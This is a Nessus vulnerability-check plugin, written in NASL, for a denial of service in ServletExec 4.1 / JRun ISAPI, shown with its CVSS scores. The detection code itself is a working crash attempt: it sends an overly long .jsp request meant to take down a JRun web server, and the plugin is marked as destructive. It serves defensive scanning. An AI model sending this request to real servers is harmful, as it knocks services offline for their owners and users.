CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS
Percentile
88.9%
By sending an overly long request for a .jsp file, it is possible to crash the remote web server.
This problem is known as the ServletExec / JRun ISAPI DoS.
#%NASL_MIN_LEVEL 70300
#
# This script was written by Matt Moore <[email protected]>
#
# Script audit and contributions from Carmichael Security
# Erik Anderson <[email protected]> (nb: domain no longer exists)
# Wrong BugtraqID(6122). Changed to BID:4796. Added CAN.
#
# See the Nessus Scripts License for details
#
# Changes by Tenable:
# - Revised plugin title (4/3/2009)
# - Updated to use compat.inc (11/20/2009)
include('deprecated_nasl_level.inc');
include('compat.inc');
if(description)
{
script_id(10958);
script_version("1.31");
script_bugtraq_id(1570, 4796);
script_cve_id("CVE-2002-0894", "CVE-2000-0681");
script_name(english:"ServletExec 4.1 / JRun ISAPI Multiple DoS");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is prone to a denial of service attack." );
script_set_attribute(attribute:"description", value:
"By sending an overly long request for a .jsp file, it is possible to
crash the remote web server.
This problem is known as the ServletExec / JRun ISAPI DoS." );
script_set_attribute(attribute:"see_also", value:"https://www.westpoint.ltd.uk/advisories/wp-02-0006.txt" );
script_set_attribute(attribute:"solution", value:
"Download patch #9 from ftp://ftp.newatlanta.com/public/4_1/patches/" );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "2002/05/22");
script_set_attribute(attribute:"vuln_publication_date", value: "2002/05/22");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Tests for ServletExec 4.1 ISAPI DoS");
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002-2021 Matt Moore");
script_family(english:"CGI abuses");
script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl", "www_too_long_url.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("www/too_long_url_crash");
exit(0);
}
# Check starts here
include("http_func.inc");
crashes_already = get_kb_item("www/too_long_url_crash");
if(crashes_already)exit(0);
port = get_http_port(default:80, embedded:TRUE);
if(get_port_state(port))
{
banner = get_http_banner(port:port);
if ( ! banner ) exit(0);
if ( "JRun" >!< banner ) exit(0);
buff = string("/", crap(3000), ".jsp");
req = http_get(item:buff, port:port);
soc = http_open_socket(port);
if(soc)
{
send(socket:soc, data:req);
r = http_recv(socket:soc);
if (!r)
security_hole(port);
}
}